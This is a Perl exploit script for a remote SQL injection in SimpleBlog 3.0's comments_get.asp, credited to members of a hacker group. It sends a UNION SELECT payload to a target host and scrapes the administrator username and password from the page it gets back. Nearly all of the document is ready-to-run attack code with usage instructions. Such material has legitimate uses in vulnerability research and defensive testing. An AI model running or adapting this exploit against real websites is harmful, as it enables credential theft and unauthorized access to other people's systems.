simpleblog-sql.txt

`#!/usr/bin/perl  
  
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#  
# SimpleBlog 3.0 [ comments_get.asp ] #  
# ] Remote SQL Injection [ #  
# #  
# [c]ode by TrinTiTTY [at] g00ns.net #  
# Vulnerability by MurderSkillz #  
# #  
# shoutz: z3r0, kat, str0ke, rezen, fish, wicked, clorox, #  
# Canuck, a59, sess, bernard, + the rest of g00ns #  
# [irc.g00ns.net] [www.g00ns.net] [ts.g00ns.net] #  
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#  
  
use LWP::UserAgent;  
  
$host = @ARGV[0];  
$ua = LWP::UserAgent->new;  
  
my $inject ='comments_get.asp?id=-99%20union%20all%20select%201,2,uUSERNAME,4,uPASSWORD,6,7,8,9%20from%20T_USERS';  
  
if (@ARGV < 1){&top( );&usage( )}  
elsif ($host =~ /http:\/\//){print"\n\n [-] Don't use http:// in host\n";exit( 0 );}  
else { &xpl( ) }  
sub xpl( ) {  
&top( );  
print "\n [~] Connecting\n";  
$res = $ua->get("http://$host/$inject");  
  
$con = $res->content;  
print "\n [~] Checking for admin info\n";  
if ($con =~ /<strong>([-_+.\w]{1,15})<\/strong>/gmi)  
{  
print "\n\t [+] Admin user: $1\n";  
}  
if ($con =~ /<a href\=\"http:\/\/(.*)\" target\=\"\_blank\">(.*)<\/a>/gmi)  
{  
print "\n\t [+] Admin password: $2\n";  
print "\n [+] Complete\n";  
}  
else {  
print "\n [-] Unable to retrieve admin info\n";  
exit(0);  
}  
}  
sub top( )  
{  
print q {  
##################################################################  
# SimpleBlog 3.0 [ comments_get.asp ] #  
# ] Remote SQL Injection [ #  
# #  
# [c]ode by TrinTiTTY [at] g00ns.net #  
# Vulnerability by MurderSkillz #  
##################################################################  
}  
}  
sub usage( )  
{  
print "\n Usage: perl simpleblog3.pl <host>\n";  
print "\n Example: perl simpleblog3.pl www.example.com/path\n\n";  
exit(0);  
}  
  
`